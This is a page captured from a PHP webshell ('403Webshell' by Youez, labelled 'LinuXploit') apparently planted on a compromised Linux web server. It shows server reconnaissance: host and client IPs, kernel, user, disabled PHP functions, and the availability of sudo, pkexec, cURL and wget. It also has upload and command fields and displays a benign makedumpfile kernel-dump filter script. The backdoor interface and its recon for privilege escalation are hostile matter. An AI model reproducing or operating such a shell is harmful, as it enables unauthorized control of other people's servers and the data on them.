403Webshell
Server IP : 85.112.90.236  /  Your IP : 192.168.1.26
Web Server : Apache
System : Linux 85-112-90-236.cprapid.com 6.12.0-211.7.3.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 12:46:58 EDT 2026 x86_64
User : ftechme ( 1002)
PHP Version : 8.2.32
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/makedumpfile/eppic_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/makedumpfile/eppic_scripts/dir_names_3_10_to_3_13.c
string
vfs_opt()
{
	    return "l";
}

string
vfs_usage()
{
	    return "\n";
}

static void
vfs_showusage()
{
	    printf("usage : vfs %s", vfs_usage());
}

string
vfs_help()
{
	    return "Help";
}

void
rm_names(struct dentry *dir)
{
	struct list_head *next, *head;

	memset(dir->d_iname, 0, 0x20);
	memset(dir->d_name.name, 0, 0x20);

	head = (struct list_head *)&(dir->d_subdirs);
	next = (struct list_head *)dir->d_subdirs.next;

	while (next != head)
	{
		struct dentry *child, *off = 0;

		child = (struct dentry *)((unsigned long)next - (unsigned long)&(off->d_u));
		rm_names(child);
		next = child->d_u.d_child.next;
	}

	return;
}

int
vfs()
{
	int i;
	struct list_head *tab;

	tab = (struct list_head *)mount_hashtable;

	for (i = 0; i < 256; i++)
	{
		struct list_head *head, *next;

		head = (struct list_head *) (tab + i);
		next = (struct list_head *) head->next;

		if (!next)
			continue;

		while (next != head)
		{
			struct mount *mntfs;
			struct dentry *root;

			mntfs = (struct mount *)((unsigned long)next);
			root = (struct dentry *)mntfs->mnt.mnt_root;
			rm_names(root);
			next = mntfs->mnt_hash.next;
		}
	}
	return 1;
}

Youez - 2016 - github.com/yon3zu
LinuXploit